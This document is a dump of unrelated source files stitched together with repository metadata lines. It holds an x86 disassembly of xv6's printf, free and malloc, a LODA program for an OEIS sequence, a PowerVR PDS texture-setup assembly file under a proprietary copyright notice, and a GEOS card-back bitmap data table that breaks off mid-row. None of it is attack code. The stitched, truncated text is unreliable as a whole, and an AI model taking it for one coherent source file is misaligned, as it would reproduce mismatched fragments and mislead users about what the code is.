<printf+0x54> 539: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 10, 1); 540: 83 ec 0c sub $0xc,%esp 543: b9 0a 00 00 00 mov $0xa,%ecx 548: 6a 01 push $0x1 54a: eb ce jmp 51a <printf+0xea> 54c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, *ap); 550: 8b 5d d0 mov -0x30(%ebp),%ebx write(fd, &c, 1); 553: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 556: 8b 03 mov (%ebx),%eax write(fd, &c, 1); 558: 6a 01 push $0x1 ap++; 55a: 83 c3 04 add $0x4,%ebx write(fd, &c, 1); 55d: 57 push %edi 55e: ff 75 08 pushl 0x8(%ebp) putc(fd, *ap); 561: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 564: e8 78 fd ff ff call 2e1 <write> ap++; 569: 89 5d d0 mov %ebx,-0x30(%ebp) 56c: 83 c4 10 add $0x10,%esp state = 0; 56f: 31 d2 xor %edx,%edx 571: e9 0e ff ff ff jmp 484 <printf+0x54> 576: 8d 76 00 lea 0x0(%esi),%esi 579: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi putc(fd, c); 580: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 583: 83 ec 04 sub $0x4,%esp 586: e9 5a ff ff ff jmp 4e5 <printf+0xb5> 58b: 90 nop 58c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 590: 8b 45 d0 mov -0x30(%ebp),%eax 593: 8b 18 mov (%eax),%ebx ap++; 595: 83 c0 04 add $0x4,%eax 598: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 59b: 85 db test %ebx,%ebx 59d: 74 17 je 5b6 <printf+0x186> while(*s != 0){ 59f: 0f b6 03 movzbl (%ebx),%eax state = 0; 5a2: 31 d2 xor %edx,%edx while(*s != 0){ 5a4: 84 c0 test %al,%al 5a6: 0f 84 d8 fe ff ff je 484 <printf+0x54> 5ac: 89 75 d4 mov %esi,-0x2c(%ebp) 5af: 89 de mov %ebx,%esi 5b1: 8b 5d 08 mov 0x8(%ebp),%ebx 5b4: eb 1a jmp 5d0 <printf+0x1a0> s = "(null)"; 5b6: bb a1 07 00 00 mov $0x7a1,%ebx while(*s != 0){ 5bb: 89 75 d4 mov %esi,-0x2c(%ebp) 5be: b8 28 00 00 00 mov $0x28,%eax 5c3: 89 de mov %ebx,%esi 5c5: 8b 5d 08 mov 0x8(%ebp),%ebx 5c8: 90 nop 5c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi write(fd, &c, 1); 5d0: 83 ec 04 sub $0x4,%esp s++; 5d3: 83 c6 01 add $0x1,%esi 5d6: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 5d9: 6a 01 push $0x1 5db: 57 push %edi 5dc: 53 push %ebx 5dd: e8 ff fc ff ff call 2e1 <write> while(*s != 0){ 5e2: 0f b6 06 movzbl (%esi),%eax 5e5: 83 c4 10 add $0x10,%esp 5e8: 84 c0 test %al,%al 5ea: 75 e4 jne 5d0 <printf+0x1a0> 5ec: 8b 75 d4 mov -0x2c(%ebp),%esi state = 0; 5ef: 31 d2 xor %edx,%edx 5f1: e9 8e fe ff ff jmp 484 <printf+0x54> 5f6: 66 90 xchg %ax,%ax 5f8: 66 90 xchg %ax,%ax 5fa: 66 90 xchg %ax,%ax 5fc: 66 90 xchg %ax,%ax 5fe: 66 90 xchg %ax,%ax 00000600 <free>: static Header base; static Header *freep; void free(void *ap) { 600: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 601: a1 58 0a 00 00 mov 0xa58,%eax { 606: 89 e5 mov %esp,%ebp 608: 57 push %edi 609: 56 push %esi 60a: 53 push %ebx 60b: 8b 5d 08 mov 0x8(%ebp),%ebx 60e: 8b 10 mov (%eax),%edx bp = (Header*)ap - 1; 610: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 613: 39 c8 cmp %ecx,%eax 615: 73 19 jae 630 <free+0x30> 617: 89 f6 mov %esi,%esi 619: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 620: 39 d1 cmp %edx,%ecx 622: 72 14 jb 638 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 624: 39 d0 cmp %edx,%eax 626: 73 10 jae 638 <free+0x38> { 628: 89 d0 mov %edx,%eax 62a: 8b 10 mov (%eax),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 62c: 39 c8 cmp %ecx,%eax 62e: 72 f0 jb 620 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 630: 39 d0 cmp %edx,%eax 632: 72 f4 jb 628 <free+0x28> 634: 39 d1 cmp %edx,%ecx 636: 73 f0 jae 628 <free+0x28> break; if(bp + bp->s.size == p->s.ptr){ 638: 8b 73 fc mov -0x4(%ebx),%esi 63b: 8d 3c f1 lea (%ecx,%esi,8),%edi 63e: 39 fa cmp %edi,%edx 640: 74 1e je 660 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 642: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 645: 8b 50 04 mov 0x4(%eax),%edx 648: 8d 34 d0 lea (%eax,%edx,8),%esi 64b: 39 f1 cmp %esi,%ecx 64d: 74 28 je 677 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 64f: 89 08 mov %ecx,(%eax) freep = p; } 651: 5b pop %ebx freep = p; 652: a3 58 0a 00 00 mov %eax,0xa58 } 657: 5e pop %esi 658: 5f pop %edi 659: 5d pop %ebp 65a: c3 ret 65b: 90 nop 65c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 660: 03 72 04 add 0x4(%edx),%esi 663: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 666: 8b 10 mov (%eax),%edx 668: 8b 12 mov (%edx),%edx 66a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 66d: 8b 50 04 mov 0x4(%eax),%edx 670: 8d 34 d0 lea (%eax,%edx,8),%esi 673: 39 f1 cmp %esi,%ecx 675: 75 d8 jne 64f <free+0x4f> p->s.size += bp->s.size; 677: 03 53 fc add -0x4(%ebx),%edx freep = p; 67a: a3 58 0a 00 00 mov %eax,0xa58 p->s.size += bp->s.size; 67f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 682: 8b 53 f8 mov -0x8(%ebx),%edx 685: 89 10 mov %edx,(%eax) } 687: 5b pop %ebx 688: 5e pop %esi 689: 5f pop %edi 68a: 5d pop %ebp 68b: c3 ret 68c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000690 <malloc>: return freep; } void* malloc(uint nbytes) { 690: 55 push %ebp 691: 89 e5 mov %esp,%ebp 693: 57 push %edi 694: 56 push %esi 695: 53 push %ebx 696: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 699: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 69c: 8b 3d 58 0a 00 00 mov 0xa58,%edi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6a2: 8d 70 07 lea 0x7(%eax),%esi 6a5: c1 ee 03 shr $0x3,%esi 6a8: 83 c6 01 add $0x1,%esi if((prevp = freep) == 0){ 6ab: 85 ff test %edi,%edi 6ad: 0f 84 ad 00 00 00 je 760 <malloc+0xd0> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 6b3: 8b 17 mov (%edi),%edx if(p->s.size >= nunits){ 6b5: 8b 4a 04 mov 0x4(%edx),%ecx 6b8: 39 ce cmp %ecx,%esi 6ba: 76 72 jbe 72e <malloc+0x9e> 6bc: 81 fe 00 10 00 00 cmp $0x1000,%esi 6c2: bb 00 10 00 00 mov $0x1000,%ebx 6c7: 0f 43 de cmovae %esi,%ebx p = sbrk(nu * sizeof(Header)); 6ca: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax 6d1: 89 45 e4 mov %eax,-0x1c(%ebp) 6d4: eb 1b jmp 6f1 <malloc+0x61> 6d6: 8d 76 00 lea 0x0(%esi),%esi 6d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 6e0: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 6e2: 8b 48 04 mov 0x4(%eax),%ecx 6e5: 39 f1 cmp %esi,%ecx 6e7: 73 4f jae 738 <malloc+0xa8> 6e9: 8b 3d 58 0a 00 00 mov 0xa58,%edi 6ef: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 6f1: 39 d7 cmp %edx,%edi 6f3: 75 eb jne 6e0 <malloc+0x50> p = sbrk(nu * sizeof(Header)); 6f5: 83 ec 0c sub $0xc,%esp 6f8: ff 75 e4 pushl -0x1c(%ebp) 6fb: e8 49 fc ff ff call 349 <sbrk> if(p == (char*)-1) 700: 83 c4 10 add $0x10,%esp 703: 83 f8 ff cmp $0xffffffff,%eax 706: 74 1c je 724 <malloc+0x94> hp->s.size = nu; 708: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 70b: 83 ec 0c sub $0xc,%esp 70e: 83 c0 08 add $0x8,%eax 711: 50 push %eax 712: e8 e9 fe ff ff call 600 <free> return freep; 717: 8b 15 58 0a 00 00 mov 0xa58,%edx if((p = morecore(nunits)) == 0) 71d: 83 c4 10 add $0x10,%esp 720: 85 d2 test %edx,%edx 722: 75 bc jne 6e0 <malloc+0x50> return 0; } } 724: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 727: 31 c0 xor %eax,%eax } 729: 5b pop %ebx 72a: 5e pop %esi 72b: 5f pop %edi 72c: 5d pop %ebp 72d: c3 ret if(p->s.size >= nunits){ 72e: 89 d0 mov %edx,%eax 730: 89 fa mov %edi,%edx 732: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 738: 39 ce cmp %ecx,%esi 73a: 74 54 je 790 <malloc+0x100> p->s.size -= nunits; 73c: 29 f1 sub %esi,%ecx 73e: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 741: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 744: 89 70 04 mov %esi,0x4(%eax) freep = prevp; 747: 89 15 58 0a 00 00 mov %edx,0xa58 } 74d: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 750: 83 c0 08 add $0x8,%eax } 753: 5b pop %ebx 754: 5e pop %esi 755: 5f pop %edi 756: 5d pop %ebp 757: c3 ret 758: 90 nop 759: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; 760: c7 05 58 0a 00 00 5c movl $0xa5c,0xa58 767: 0a 00 00 base.s.size = 0; 76a: bf 5c 0a 00 00 mov $0xa5c,%edi base.s.ptr = freep = prevp = &base; 76f: c7 05 5c 0a 00 00 5c movl $0xa5c,0xa5c 776: 0a 00 00 for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 779: 89 fa mov %edi,%edx base.s.size = 0; 77b: c7 05 60 0a 00 00 00 movl $0x0,0xa60 782: 00 00 00 if(p->s.size >= nunits){ 785: e9 32 ff ff ff jmp 6bc <malloc+0x2c> 78a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi prevp->s.ptr = p->s.ptr; 790: 8b 08 mov (%eax),%ecx 792: 89 0a mov %ecx,(%edx) 794: eb b1 jmp 747 <malloc+0xb7>
34.134503
60
0.407181
b9e1a2b27b09a1aa4bd8d709d59289ff205bcbcc
468
asm
Assembly
programs/oeis/322/A322015.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/322/A322015.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/322/A322015.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A322015: If A003188(n+1) < A003188(n), then a(n) = n+1, otherwise a(n) = 0. ; 0,0,3,0,0,6,7,0,0,0,11,12,0,14,15,0,0,0,19,0,0,22,23,24,0,0,27,28,0,30,31,0,0,0,35,0,0,38,39,0,0,0,43,44,0,46,47,48,0,0,51,0,0,54,55,56,0,0,59,60,0,62,63,0,0,0,67,0,0,70,71,0,0,0,75,76,0,78,79,0,0,0,83,0,0,86,87,88,0,0,91,92,0,94,95,96,0,0,99,0 add $0,1 mov $1,$0 mul $1,3 seq $1,38189 ; Bit to left of least significant 1-bit in binary expansion of n. lpb $1 sub $1,1 mov $0,$1 lpe
39
246
0.604701
40e52c200ac81f7b3e4a85f6c3f950936d4a19e3
7,396
asm
Assembly
eurasia/services4/srvclient/devices/sgx/pds_tq_primary.asm
shaqfu786/GFX_Linux_DDK
f184ac914561fa100a5c92a488df777de8785f93
[ "FSFAP" ]
3
2020-03-13T23:37:00.000Z
2021-09-03T06:34:04.000Z
eurasia/services4/srvclient/devices/sgx/pds_tq_primary.asm
zzpianoman/GFX_Linux_DDK
f184ac914561fa100a5c92a488df777de8785f93
[ "FSFAP" ]
null
null
null
eurasia/services4/srvclient/devices/sgx/pds_tq_primary.asm
zzpianoman/GFX_Linux_DDK
f184ac914561fa100a5c92a488df777de8785f93
[ "FSFAP" ]
6
2015-02-05T03:01:01.000Z
2021-07-24T01:07:18.000Z
/***************************************************************************** Name : pds_tq_primary.asm Title : PDS program Author : PowerVR Created : Fri Apr 25 11:46:23 BST 2008 Copyright : 2008 by Imagination Technologies Limited. All rights reserved. No part of this software, either material or conceptual may be copied or distributed, transmitted, transcribed, stored in a retrieval system or translated into any human or computer language in any form by any means, electronic, mechanical, manual or other-wise, or disclosed to third parties without the express written permission of Imagination Technologies Limited, HomePark Industrial Estate, King's Langley, Hertfordshire, WD4 8LZ, U.K. Program Type : PDS assembly language Version : $Revision: 1.6 $ Modifications : $Log: pds_tq_primary.asm $ *****************************************************************************/ #include "sgxdefs.h" #if !defined(FIX_HW_BRN_25339) && !defined(FIX_HW_BRN_27330) data dword DOUTU0; data dword DOUTU1; data dword DOUTU2; #if TQ_PDS_PRIM_SRCS > 0 /* Texture 0 */ data dword DOUTI0_SRC0; #if (EURASIA_PDS_DOUTI_STATE_SIZE == 2) data dword DOUTI1_SRC0; #endif data dword DOUTT0_SRC0; data dword DOUTT1_SRC0; data dword DOUTT2_SRC0; #if (EURASIA_TAG_TEXTURE_STATE_SIZE == 4) data dword DOUTT3_SRC0; #endif #if TQ_PDS_PRIM_SRCS > 1 /* Texure 1 */ data dword DOUTI0_SRC1; #if (EURASIA_PDS_DOUTI_STATE_SIZE == 2) data dword DOUTI1_SRC1; #endif data dword DOUTT0_SRC1; data dword DOUTT1_SRC1; data dword DOUTT2_SRC1; #if (EURASIA_TAG_TEXTURE_STATE_SIZE == 4) data dword DOUTT3_SRC1; #endif #if TQ_PDS_PRIM_SRCS > 2 /* Texure 2 */ data dword DOUTI0_SRC2; #if (EURASIA_PDS_DOUTI_STATE_SIZE == 2) data dword DOUTI1_SRC2; #endif data dword DOUTT0_SRC2; data dword DOUTT1_SRC2; data dword DOUTT2_SRC2; #if (EURASIA_TAG_TEXTURE_STATE_SIZE == 4) data dword DOUTT3_SRC2; #endif #endif #endif #endif movs doutu, DOUTU0, DOUTU1, DOUTU2 #if (EURASIA_TAG_TEXTURE_STATE_SIZE == 3) && (EURASIA_PDS_DOUTI_STATE_SIZE == 1) #if TQ_PDS_PRIM_SRCS > 0 movs douti, DOUTI0_SRC0 movs doutt, DOUTT0_SRC0, DOUTT1_SRC0, DOUTT2_SRC0 #if TQ_PDS_PRIM_SRCS > 1 movs douti, DOUTI0_SRC1 movs doutt, DOUTT0_SRC1, DOUTT1_SRC1, DOUTT2_SRC1 #if TQ_PDS_PRIM_SRCS > 2 movs douti, DOUTI0_SRC2 movs doutt, DOUTT0_SRC2, DOUTT1_SRC2, DOUTT2_SRC2 #endif #endif #endif #else #if (EURASIA_TAG_TEXTURE_STATE_SIZE == 4) && (EURASIA_PDS_DOUTI_STATE_SIZE == 1) #if TQ_PDS_PRIM_SRCS > 0 movs douti, DOUTI0_SRC0 movs doutt, DOUTT0_SRC0, DOUTT1_SRC0, DOUTT2_SRC0, DOUTT3_SRC0 #if TQ_PDS_PRIM_SRCS > 1 movs douti, DOUTI0_SRC1 movs doutt, DOUTT0_SRC1, DOUTT1_SRC1, DOUTT2_SRC1, DOUTT3_SRC1 #if TQ_PDS_PRIM_SRCS > 2 movs douti, DOUTI0_SRC2 movs doutt, DOUTT0_SRC2, DOUTT1_SRC2, DOUTT2_SRC2, DOUTT3_SRC2 #endif #endif #endif #else #if TQ_PDS_PRIM_SRCS > 0 movs douti, DOUTI0_SRC0, DOUTI1_SRC0 movs doutt, DOUTT0_SRC0, DOUTT1_SRC0, DOUTT2_SRC0, DOUTT3_SRC0 #if TQ_PDS_PRIM_SRCS > 1 movs douti, DOUTI0_SRC1, DOUTI1_SRC1 movs doutt, DOUTT0_SRC1, DOUTT1_SRC1, DOUTT2_SRC1, DOUTT3_SRC1 #if TQ_PDS_PRIM_SRCS > 2 movs douti, DOUTI0_SRC2, DOUTI1_SRC2 movs doutt, DOUTT0_SRC2, DOUTT1_SRC2, DOUTT2_SRC2, DOUTT3_SRC2 #endif #endif #endif #endif #endif halt #else /* !FIX_HW_BRN_25339 && !FIX_HW_BRN_27330 */ temp dword temp_ds1=ds1[48] temp dword temp2_ds1=ds1[49] temp dword temp_ds0=ds0[48] temp dword temp2_ds0=ds0[49] data dword DOUTU0; data dword DOUTU1; data dword DOUTU2; #if TQ_PDS_PRIM_SRCS > 0 /* Texture 0 */ data dword DOUTI0_SRC0; #if (EURASIA_PDS_DOUTI_STATE_SIZE == 2) data dword DOUTI1_SRC0; #endif data dword DOUTT0_SRC0; data dword DOUTT1_SRC0; data dword DOUTT2_SRC0; #if (EURASIA_TAG_TEXTURE_STATE_SIZE == 4) data dword DOUTT3_SRC0; #endif #if TQ_PDS_PRIM_SRCS > 1 /* Texure 1 */ data dword DOUTI0_SRC1; #if (EURASIA_PDS_DOUTI_STATE_SIZE == 2) data dword DOUTI1_SRC1; #endif data dword DOUTT0_SRC1; data dword DOUTT1_SRC1; data dword DOUTT2_SRC1; #if (EURASIA_TAG_TEXTURE_STATE_SIZE == 4) data dword DOUTT3_SRC1; #endif #if TQ_PDS_PRIM_SRCS > 2 /* Texure 2 */ data dword DOUTI0_SRC2; #if (EURASIA_PDS_DOUTI_STATE_SIZE == 2) data dword DOUTI1_SRC2; #endif data dword DOUTT0_SRC2; data dword DOUTT1_SRC2; data dword DOUTT2_SRC2; #if (EURASIA_TAG_TEXTURE_STATE_SIZE == 4) data dword DOUTT3_SRC2; #endif #endif #endif #endif mov32 temp_ds1, DOUTU2 movs doutu, DOUTU0, DOUTU1, temp_ds1 #if (EURASIA_TAG_TEXTURE_STATE_SIZE == 3) && (EURASIA_PDS_DOUTI_STATE_SIZE == 1) #if TQ_PDS_PRIM_SRCS > 0 movs douti, DOUTI0_SRC0 mov32 temp_ds1, DOUTT2_SRC0 movs doutt, DOUTT0_SRC0, DOUTT1_SRC0, temp_ds1 #if TQ_PDS_PRIM_SRCS > 1 movs douti, DOUTI0_SRC1 mov32 temp_ds1, DOUTT2_SRC1 movs doutt, DOUTT0_SRC1, DOUTT1_SRC1, temp_ds1 #if TQ_PDS_PRIM_SRCS > 2 movs douti, DOUTI0_SRC2 mov32 temp_ds1, DOUTT2_SRC2 movs doutt, DOUTT0_SRC2, DOUTT1_SRC2, temp_ds1 #endif #endif #endif #else #if (EURASIA_TAG_TEXTURE_STATE_SIZE == 4) && (EURASIA_PDS_DOUTI_STATE_SIZE == 1) #if TQ_PDS_PRIM_SRCS > 0 movs douti, DOUTI0_SRC0 mov32 temp_ds0, DOUTT0_SRC0 mov32 temp2_ds0, DOUTT1_SRC0 mov32 temp_ds1, DOUTT2_SRC0 mov32 temp2_ds1, DOUTT3_SRC0 movs doutt, temp_ds0, temp2_ds0, temp_ds1, temp2_ds1 #if TQ_PDS_PRIM_SRCS > 1 movs douti, DOUTI0_SRC1 mov32 temp_ds0, DOUTT0_SRC1 mov32 temp2_ds0, DOUTT1_SRC1 mov32 temp_ds1, DOUTT2_SRC1 mov32 temp2_ds1, DOUTT3_SRC1 movs doutt, temp_ds0, temp2_ds0, temp_ds1, temp2_ds1 #if TQ_PDS_PRIM_SRCS > 2 movs douti, DOUTI0_SRC2 mov32 temp_ds0, DOUTT0_SRC2 mov32 temp2_ds0, DOUTT1_SRC2 mov32 temp_ds1, DOUTT2_SRC2 mov32 temp2_ds1, DOUTT3_SRC2 movs doutt, temp_ds0, temp2_ds0, temp_ds1, temp2_ds1 #endif #endif #endif #else #if TQ_PDS_PRIM_SRCS > 0 movs douti, DOUTI0_SRC0, DOUTI1_SRC0 mov32 temp_ds0, DOUTT0_SRC0 mov32 temp2_ds0, DOUTT1_SRC0 mov32 temp_ds1, DOUTT2_SRC0 mov32 temp2_ds1, DOUTT3_SRC0 movs doutt, temp_ds0, temp2_ds0, temp_ds1, temp2_ds1 #if TQ_PDS_PRIM_SRCS > 1 movs douti, DOUTI0_SRC1, DOUTI1_SRC1 mov32 temp_ds0, DOUTT0_SRC1 mov32 temp2_ds0, DOUTT1_SRC1 mov32 temp_ds1, DOUTT2_SRC1 mov32 temp2_ds1, DOUTT3_SRC1 movs doutt, temp_ds0, temp2_ds0, temp_ds1, temp2_ds1 #if TQ_PDS_PRIM_SRCS > 2 movs douti, DOUTI0_SRC2, DOUTI1_SRC2 mov32 temp_ds0, DOUTT0_SRC2 mov32 temp2_ds0, DOUTT1_SRC2 mov32 temp_ds1, DOUTT2_SRC2 mov32 temp2_ds1, DOUTT3_SRC2 movs doutt, temp_ds0, temp2_ds0, temp_ds1, temp2_ds1 #endif #endif #endif #endif #endif halt #endif /* !FIX_HW_BRN_25339 && !FIX_HW_BRN_27330*/ /****************************************************************************** End of file (pds_tq_primary.asm) ******************************************************************************/
25.591696
83
0.673202
006de5314996355eaf88e782b34568e7e3ba039a
6,266
asm
Assembly
Appl/Art/Decks/GeoDeck/LMClassic.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/Art/Decks/GeoDeck/LMClassic.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/Art/Decks/GeoDeck/LMClassic.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
LMClassic label byte word C_BLACK Bitmap <71,100,0,BMF_MONO> db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c db 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04 db 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x00 db 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00 db 0x81, 0x7f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfd, 0x00 db 0x81, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00 db 0x81, 0x5f, 0xff, 0xff, 0xd7, 0xff, 0xff, 0xf5, 0x00 db 0x81, 0x5e, 0x03, 0x6d, 0xbb, 0x6d, 0x80, 0xf5, 0x00 db 0x81, 0x59, 0xfd, 0xd7, 0x7d, 0xd7, 0x7f, 0x35, 0x00 db 0x81, 0x5b, 0x06, 0xbb, 0x6d, 0xba, 0xc1, 0xb5, 0x00 db 0x81, 0x57, 0xfb, 0x6e, 0xc6, 0xed, 0xbf, 0xd5, 0x00 db 0x81, 0x55, 0x3d, 0xd6, 0xc6, 0xd7, 0x79, 0x55, 0x00 db 0x81, 0x57, 0x16, 0xba, 0xee, 0xba, 0xd1, 0xd5, 0x00 db 0x81, 0x5b, 0xdb, 0x6e, 0xee, 0xed, 0xb7, 0xb5, 0x00 db 0x81, 0x59, 0xdd, 0xd5, 0xab, 0x57, 0x77, 0x35, 0x00 db 0x81, 0x5e, 0x3b, 0xbd, 0xd7, 0x7b, 0xb8, 0xf5, 0x00 db 0x81, 0x57, 0xf5, 0x7d, 0x7d, 0x7d, 0x5f, 0xd5, 0x00 db 0x81, 0x5b, 0x6e, 0xfd, 0xbb, 0x7e, 0xed, 0xb5, 0x00 db 0x81, 0x57, 0xf7, 0xdb, 0xd7, 0xb7, 0xdf, 0xd5, 0x00 db 0x81, 0x5e, 0x3b, 0xab, 0x39, 0xab, 0xb8, 0xf5, 0x00 db 0x81, 0x59, 0xdd, 0xdb, 0x39, 0xb7, 0x77, 0x35, 0x00 db 0x81, 0x5b, 0xdb, 0xfb, 0xd7, 0xbf, 0xb7, 0xb5, 0x00 db 0x81, 0x57, 0x16, 0xfd, 0xbb, 0x7e, 0xd1, 0xd5, 0x00 db 0x81, 0x55, 0x3d, 0xde, 0x7c, 0xf7, 0x79, 0x55, 0x00 db 0x81, 0x57, 0xfb, 0xaf, 0xef, 0xeb, 0xbf, 0xd5, 0x00 db 0x81, 0x5b, 0x07, 0x77, 0xd7, 0xdd, 0xc1, 0xb5, 0x00 db 0x81, 0x59, 0xfe, 0xdb, 0xbb, 0xb6, 0xff, 0x35, 0x00 db 0x81, 0x5e, 0x05, 0xad, 0x7d, 0x6b, 0x40, 0xf5, 0x00 db 0x81, 0x59, 0xfe, 0xdb, 0xbb, 0xb6, 0xff, 0x35, 0x00 db 0x81, 0x5b, 0x07, 0x77, 0xd7, 0xdd, 0xc1, 0xb5, 0x00 db 0x81, 0x57, 0xfb, 0xae, 0xee, 0xeb, 0xbf, 0xd5, 0x00 db 0x81, 0x55, 0x3d, 0xdd, 0x7d, 0x77, 0x79, 0x55, 0x00 db 0x81, 0x57, 0x16, 0xff, 0xff, 0xfe, 0xd1, 0xd5, 0x00 db 0x81, 0x5b, 0xdb, 0x7f, 0x01, 0xfd, 0xb7, 0xb5, 0x00 db 0x81, 0x59, 0xdf, 0xbc, 0xfe, 0x7b, 0xf7, 0x35, 0x00 db 0x81, 0x5e, 0x3b, 0x73, 0xd7, 0x9d, 0xb8, 0xf5, 0x00 db 0x81, 0x57, 0xf6, 0xef, 0xbb, 0xee, 0xdf, 0xd5, 0x00 db 0x81, 0x5b, 0x6d, 0xdf, 0x7d, 0xf7, 0x6d, 0xb5, 0x00 db 0x81, 0x5d, 0xdb, 0xbe, 0x82, 0xfb, 0xb7, 0x75, 0x00 db 0x81, 0x56, 0xb7, 0xbc, 0x7c, 0x7b, 0xda, 0xd5, 0x00 db 0x81, 0x5b, 0x6f, 0x79, 0xff, 0x3d, 0xed, 0xb5, 0x00 db 0x81, 0x5d, 0xdb, 0x72, 0xff, 0x9d, 0xb7, 0x75, 0x00 db 0x81, 0x5b, 0x6e, 0xe9, 0xff, 0xae, 0xed, 0xb5, 0x00 db 0x81, 0x56, 0xb6, 0xd6, 0xff, 0xd6, 0xda, 0xd5, 0x00 db 0x81, 0x5d, 0xda, 0xb5, 0xff, 0xda, 0xb7, 0x75, 0x00 db 0x81, 0x5b, 0xea, 0xf3, 0x7f, 0xde, 0xaf, 0xb5, 0x00 db 0x81, 0x5d, 0xda, 0xb6, 0xff, 0xda, 0xb7, 0x75, 0x00 db 0x81, 0x56, 0xb6, 0xd5, 0xbf, 0xd6, 0xda, 0xd5, 0x00 db 0x81, 0x5b, 0x6e, 0xeb, 0x6f, 0xae, 0xed, 0xb5, 0x00 db 0x81, 0x5d, 0xdb, 0x72, 0xda, 0x9d, 0xb7, 0x75, 0x00 db 0x81, 0x5b, 0x6f, 0x79, 0xb5, 0x3d, 0xed, 0xb5, 0x00 db 0x81, 0x56, 0xb7, 0xbc, 0x6c, 0x7b, 0xda, 0xd5, 0x00 db 0x81, 0x5d, 0xdb, 0xbe, 0x82, 0xfb, 0xb7, 0x75, 0x00 db 0x81, 0x5b, 0x6d, 0xdf, 0x7d, 0xf7, 0x6d, 0xb5, 0x00 db 0x81, 0x57, 0xf6, 0xef, 0xbb, 0xee, 0xdf, 0xd5, 0x00 db 0x81, 0x5e, 0x3b, 0x73, 0xd7, 0x9d, 0xb8, 0xf5, 0x00 db 0x81, 0x59, 0xdf, 0xbc, 0xfe, 0x7b, 0xf7, 0x35, 